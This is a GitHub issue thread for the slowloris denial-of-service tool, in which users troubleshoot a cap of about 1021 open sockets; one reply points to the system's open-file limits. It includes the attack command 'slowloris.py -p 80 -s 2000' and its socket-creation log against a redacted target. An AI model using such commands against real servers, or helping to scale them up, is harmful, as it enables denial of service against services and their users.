Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Maximum number of sockets get limited to 1021 #17

Closed
irfannaseefp opened this issue May 16, 2018 · 3 comments
Closed

Maximum number of sockets get limited to 1021 #17

irfannaseefp opened this issue May 16, 2018 · 3 comments

Comments

@irfannaseefp
Copy link

Maximum 1021 sockets are created during execution in Ubuntu server 16.04 Linux 4.4.0-116 Python 2.7.12
command used:
sudo ./slowloris.py -p 80 -s 2000 -v -ua A.B.C.D

results this:

 Attacking A.B.C.D with 10 sockets.
[16-05-2018 15:48:53] Creating sockets...
[16-05-2018 15:48:53] Creating socket nr 0
[16-05-2018 15:48:53] Creating socket nr 1
[16-05-2018 15:48:53] Creating socket nr 2
[16-05-2018 15:48:53] Creating socket nr 3
.
.
.
Creating socket nr 1017
[16-05-2018 15:45:28] Creating socket nr 1018
[16-05-2018 15:45:28] Creating socket nr 1019
[16-05-2018 15:45:28] Creating socket nr 1020
[16-05-2018 15:45:28] Creating socket nr 1021
[16-05-2018 15:45:28] Sending keep-alive headers... Socket count: 102
@rushib1
Copy link

rushib1 commented Oct 29, 2018

hi @irfannaseefp looks like you are reaching the limit of max limit of openfiles in your ubuntu.
try this command
ulimit -Sn && ulimit -Hn
try changing the soft and hard limit, check this link

@gkbrk
Copy link
Owner

gkbrk commented May 8, 2019

Looks like @rushib1 has given the solution to this problem.

@gkbrk gkbrk closed this as completed May 8, 2019
@Dave181295
Copy link

Any solution for the max limit on MacOS ? I got 2551

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants